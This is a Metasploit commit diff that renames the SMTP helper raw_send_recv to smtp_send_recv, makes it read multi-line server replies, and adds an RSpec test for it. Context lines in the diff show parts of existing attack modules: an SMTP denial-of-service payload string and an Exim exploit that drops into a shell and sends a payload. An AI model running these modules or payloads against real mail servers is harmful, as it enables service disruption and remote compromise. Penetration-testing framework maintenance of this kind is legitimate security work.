Land #16153, read full response on smtp send/recv

This commit is contained in:
adfoster-r7 2022-03-04 01:24:46 +00:00 committed by GitHub
commit ad2fab6fee
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 135 additions and 36 deletions

View File

@ -80,7 +80,7 @@ module Exploit::Remote::SMTPDeliver
if res =~ /STARTTLS/
print_status("Starting tls")
raw_send_recv("STARTTLS\r\n", nsock)
smtp_send_recv("STARTTLS\r\n", nsock)
[:high, :medium, :default].each do |level|
begin
@ -91,12 +91,12 @@ module Exploit::Remote::SMTPDeliver
print_status 'Could not negotiate SSL, falling back to older ciphers'
nsock.close
nsock, res = connect_ehlo(global)
raw_send_recv("STARTTLS\r\n", nsock)
smtp_send_recv("STARTTLS\r\n", nsock)
raise if level == :default
end
end
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
res = smtp_send_recv("EHLO #{domain}\r\n", nsock)
end
unless datastore['PASSWORD'].empty? and datastore["USERNAME"].empty?
@ -106,7 +106,7 @@ module Exploit::Remote::SMTPDeliver
# Have to double the username. SMTP auth is weird
user = "#{datastore["USERNAME"]}\0" * 2
auth = Rex::Text.encode_base64("#{user}#{datastore["PASSWORD"]}")
res = raw_send_recv("AUTH PLAIN #{auth}\r\n", nsock)
res = smtp_send_recv("AUTH PLAIN #{auth}\r\n", nsock)
unless res[0..2] == '235'
print_error("Authentication failed, quitting")
disconnect(nsock)
@ -119,9 +119,9 @@ module Exploit::Remote::SMTPDeliver
if datastore["USERNAME"] and not datastore["USERNAME"].empty?
user = Rex::Text.encode_base64("#{datastore["USERNAME"]}")
auth = Rex::Text.encode_base64("#{datastore["PASSWORD"]}")
raw_send_recv("AUTH LOGIN\r\n",nsock)
raw_send_recv("#{user}\r\n",nsock)
res = raw_send_recv("#{auth}\r\n",nsock)
smtp_send_recv("AUTH LOGIN\r\n", nsock)
smtp_send_recv("#{user}\r\n", nsock)
res = smtp_send_recv("#{auth}\r\n", nsock)
unless res[0..2] == '235'
print_error("Authentication failed, quitting")
disconnect(nsock)
@ -147,7 +147,7 @@ module Exploit::Remote::SMTPDeliver
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
nsock = connect(global)
[nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)]
[nsock, smtp_send_recv("EHLO #{domain}\r\n", nsock)]
end
def bad_address(address)
@ -181,10 +181,10 @@ module Exploit::Remote::SMTPDeliver
nsock = connect_login(false)
end
raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
smtp_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
res = smtp_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
if res && res[0..2] == '250'
resp = raw_send_recv("DATA\r\n", nsock)
resp = smtp_send_recv("DATA\r\n", nsock)
# If the user supplied a Date field, use that, else use the current
# DateTime in the proper RFC2822 format.
@ -211,7 +211,7 @@ module Exploit::Remote::SMTPDeliver
full_msg << data
# Escape leading dots in the mail messages so there are no false EOF
full_msg.gsub!(/(?m)^\./, '..')
send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock)
send_status = smtp_send_recv("#{full_msg}\r\n.\r\n", nsock)
end
else
print_error "Server refused to send to <#{mailto}>"
@ -226,12 +226,14 @@ module Exploit::Remote::SMTPDeliver
end
def disconnect(nsock=self.sock)
raw_send_recv("QUIT\r\n", nsock)
smtp_send_recv("QUIT\r\n", nsock)
super
@connected = false
end
def raw_send_recv(cmd, nsock=self.sock)
# Send and receive a single command using SMTP protocol
# allowing for response continuation
def smtp_send_recv(cmd, nsock=self.sock)
return false if not nsock
if cmd =~ /AUTH PLAIN/
# Don't print the user's plaintext password
@ -244,7 +246,11 @@ module Exploit::Remote::SMTPDeliver
begin
nsock.put(cmd)
res = nsock.get_once
rescue
while !(res =~ /(^|\r\n)\d{3}( .*|)\r\n$/) && chunk = nsock.get_once
res += chunk
end
raise RuntimeError.new("SMTP response is incomplete or contains extra data") unless res =~ /(^|\r\n)\d{3}( .*|)\r\n$/
rescue EOFError
return nil
end
# Don't truncate the server output because it might be helpful for

View File

@ -38,10 +38,10 @@ class MetasploitModule < Msf::Auxiliary
sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28
raw_send_recv("EHLO X\r\n")
raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
smtp_send_recv("EHLO X\r\n")
smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
print_status("Sending DoS packet.")
raw_send_recv("RCPT TO: #{sploit}\r\n")
smtp_send_recv("RCPT TO: #{sploit}\r\n")
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout

View File

@ -82,19 +82,19 @@ class MetasploitModule < Msf::Auxiliary
begin
connect
res = raw_send_recv("EHLO X\r\n")
res = smtp_send_recv("EHLO X\r\n")
vprint_status("#{res.inspect}")
res = raw_send_recv("#{mailfrom}\r\n")
res = smtp_send_recv("#{mailfrom}\r\n")
vprint_status("#{res.inspect}")
res = raw_send_recv("#{mailto}\r\n")
res = smtp_send_recv("#{mailto}\r\n")
vprint_status("#{res.inspect}")
res = raw_send_recv("DATA\r\n")
res = smtp_send_recv("DATA\r\n")
vprint_status("#{res.inspect}")
res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
res = smtp_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
vprint_status("#{res.inspect}")
if res =~ /250/

View File

@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
ehlo = datastore['EHLO']
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp.each_line do |line|
print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
end
@ -165,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote
from << "@#{ehlo}"
to = datastore['MAILTO']
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
resp = smtp_send_recv("MAIL FROM: #{from}\r\n")
resp ||= 'no response'
msg = "MAIL: #{resp.strip}"
if not resp or resp[0,3] != '250'
@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("#{rhost}:#{rport} - #{msg}")
end
resp = raw_send_recv("RCPT TO: #{to}\r\n")
resp = smtp_send_recv("RCPT TO: #{to}\r\n")
resp ||= 'no response'
msg = "RCPT: #{resp.strip}"
if not resp or resp[0,3] != '250'
@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("#{rhost}:#{rport} - #{msg}")
end
resp = raw_send_recv("DATA\r\n")
resp = smtp_send_recv("DATA\r\n")
resp ||= 'no response'
msg = "DATA: #{resp.strip}"
if not resp or resp[0,3] != '354'
@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote
message << "\r\n"
message << ".\r\n"
resp = raw_send_recv(message)
resp = smtp_send_recv(message)
msg = "DELIVER: #{resp.strip}"
if not resp or resp[0,3] != '250'
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")

View File

@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
end
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp.each_line do |line|
print_status("EHLO: #{line.strip}")
end
@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote
from = datastore['MAILFROM']
to = datastore['MAILTO']
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
resp = smtp_send_recv("MAIL FROM: #{from}\r\n")
resp ||= 'no response'
msg = "MAIL: #{resp.strip}"
if not resp or resp[0,3] != '250'
@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status(msg)
end
resp = raw_send_recv("RCPT TO: #{to}\r\n")
resp = smtp_send_recv("RCPT TO: #{to}\r\n")
resp ||= 'no response'
msg = "RCPT: #{resp.strip}"
if not resp or resp[0,3] != '250'
@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status(msg)
end
resp = raw_send_recv("DATA\r\n")
resp = smtp_send_recv("DATA\r\n")
resp ||= 'no response'
msg = "DATA: #{resp.strip}"
if not resp or resp[0,3] != '354'
@ -251,21 +251,21 @@ class MetasploitModule < Msf::Exploit::Remote
sock.put body
print_status("Ending first message.")
buf = raw_send_recv("\r\n.\r\n")
buf = smtp_send_recv("\r\n.\r\n")
# Should be: "552 Message size exceeds maximum permitted\r\n"
print_status("Result: #{buf.inspect}") if buf
second_result = ""
print_status("Sending second message ...")
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
buf = smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
# Should be: "sh-x.x$ " !!
if buf
print_status("MAIL result: #{buf.inspect}")
second_result << buf
end
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
buf = smtp_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
# Should be: "sh: RCPT: command not found\n"
if buf
print_status("RCPT result: #{buf.inspect}")
@ -296,7 +296,7 @@ class MetasploitModule < Msf::Exploit::Remote
if resp !~ /Summary of my perl/
print_status("Should have a shell now, sending payload...")
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
buf = smtp_send_recv("\n" + payload.encoded + "\n\n")
if buf
if buf =~ /554 SMTP synchronization error/
print_error("This target may be patched: #{buf.strip}")

View File

@ -0,0 +1,93 @@
RSpec.describe Msf::Exploit::Remote::SMTPDeliver do
context "#smtp_send_recv" do
subject(:instance) {
mod = Msf::Exploit::Remote.allocate
mod.extend described_class
mod
}
let (:socket) {
double(Rex::Socket::Tcp)
}
let (:cmd) {
"EHLO"
}
let(:ehlo_resp1) {
"250-ip-10-140-50-23.us-west-1.compute.internal\r\n250-XXXA\r250-PIPELINING\r\n250-AUTH CRAM-MD5 LOGIN PLAIN\r\n"
}
let(:ehlo_resp2) {
"250-SIZE 512000\r\n250-VRFY\r\n250-ETRN\r\n250-ENHANCEDSTATUSCODES\r\n250-8BITMIME\r\n250-XXXXXXXB\r\n250-XXXC\r\n"
}
let(:ehlo_resp3) {
"250 DSN"
}
let(:ehlo_resp4) {
"\r\n"
}
before {
allow(instance).to receive(:vprint_status)
allow(socket).to receive(:put)
allow(socket).to receive(:get_once).and_return(ehlo_resp1, ehlo_resp2, ehlo_resp3, ehlo_resp4)
}
it "should read the socket for continuation messages" do
response = instance.smtp_send_recv(cmd, socket)
expect(response).to end_with(ehlo_resp3 + ehlo_resp4)
end
context "when a single response occurs" do
let(:ehlo_resp1) {
"250 DSN\r\n"
}
before {
allow(socket).to receive(:get_once).and_return(ehlo_resp1)
}
it "passes" do
response = instance.smtp_send_recv(cmd, socket)
expect(response).to end_with(ehlo_resp1)
end
end
context "when the server response is terse" do
let(:ehlo_resp3) {
"250"
}
it "should support a final line with no space or extra data" do
response = instance.smtp_send_recv(cmd, socket)
expect(response).to end_with(ehlo_resp3 + ehlo_resp4)
end
end
context "when incomplete response is received" do
# a nil from `get_once` simulates a Timeout expired
let(:ehlo_resp4){
nil
}
it "should raise error when the response is incomplete" do
expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError
end
end
context "when excess data response is received" do
# a nil from `get_once` simulates a Timeout expired
let(:ehlo_resp3){
"250 DSN\r\n253 additional unexpected data"
}
let(:ehlo_resp4){
nil
}
it "should raise error when the response is incomplete" do
expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError
end
end
end
end